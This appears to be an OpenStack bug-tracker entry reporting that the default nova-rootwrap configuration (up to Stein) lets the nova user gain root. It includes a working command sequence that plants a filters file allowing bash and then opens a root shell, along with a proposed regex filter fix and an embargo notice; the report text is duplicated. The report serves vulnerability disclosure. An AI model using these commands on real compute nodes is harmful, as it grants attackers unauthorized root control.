| 2023-05-31 18:21:39 |
Jeremy Stanley |
description |
Default nova-rootwrap configuration (up to Stein) allows easy privilege escalation from user nova.
Description:
If attacker gains nova ssh key (for example from some backup), then can log into nova account on compute node via ssh and easly escalate privileges to root:
[nova@compute ~]$ whoami
nova
[nova@compute ~]$ echo -e '[Filters]\nbash: CommandFilter, bash, root' > compute.filters
[nova@compute ~]$ cat compute.filters
[Filters]
bash: CommandFilter, bash, root
[nova@compute ~]$
[nova@compute ~]$ sudo /usr/bin/nova-rootwrap /etc/nova/rootwrap.conf cp /var/lib/nova/compute.filters /etc/nova/rootwrap.d/compute.filters
[nova@compute ~]$
[nova@compute ~]$ sudo /usr/bin/nova-rootwrap /etc/nova/rootwrap.conf bash
root@compute:~#
root@compute:~# whoami
root
Similar bug was reported some time ago: https://bugs.launchpad.net/nova/+bug/1700501, but wasn't considered as a real security risk (only local nova account login was discussed, not remote connection).
Possible solution:
As number of 'write' commands executed as root is low, and used only in few places in code, some limitations could be added. Simple example for command 'cp', with '/var/lib/nova/' as state_path:
cp: RegExpFilter, cp, root, cp, /var/lib/nova/.*, /var/lib/nova/.* |
This issue is being treated as a potential security risk under
embargo. Please do not make any public mention of embargoed
(private) security vulnerabilities before their coordinated
publication by the OpenStack Vulnerability Management Team in the
form of an official OpenStack Security Advisory. This includes
discussion of the bug or associated fixes in public forums such as
mailing lists, code review systems and bug trackers. Please also
avoid private disclosure to other individuals not already approved
for access to this information, and provide this same reminder to
those who are made aware of the issue prior to publication. All
discussion should remain confined to this private bug report, and
any proposed fixes should be added to the bug as attachments. This
embargo shall not extend past 2023-08-29 and will be made
public by or on that date even if no fix is identified.
Default nova-rootwrap configuration (up to Stein) allows easy privilege escalation from user nova.
Description:
If attacker gains nova ssh key (for example from some backup), then can log into nova account on compute node via ssh and easly escalate privileges to root:
[nova@compute ~]$ whoami
nova
[nova@compute ~]$ echo -e '[Filters]\nbash: CommandFilter, bash, root' > compute.filters
[nova@compute ~]$ cat compute.filters
[Filters]
bash: CommandFilter, bash, root
[nova@compute ~]$
[nova@compute ~]$ sudo /usr/bin/nova-rootwrap /etc/nova/rootwrap.conf cp /var/lib/nova/compute.filters /etc/nova/rootwrap.d/compute.filters
[nova@compute ~]$
[nova@compute ~]$ sudo /usr/bin/nova-rootwrap /etc/nova/rootwrap.conf bash
root@compute:~#
root@compute:~# whoami
root
Similar bug was reported some time ago: https://bugs.launchpad.net/nova/+bug/1700501, but wasn't considered as a real security risk (only local nova account login was discussed, not remote connection).
Possible solution:
As number of 'write' commands executed as root is low, and used only in few places in code, some limitations could be added. Simple example for command 'cp', with '/var/lib/nova/' as state_path:
cp: RegExpFilter, cp, root, cp, /var/lib/nova/.*, /var/lib/nova/.* |
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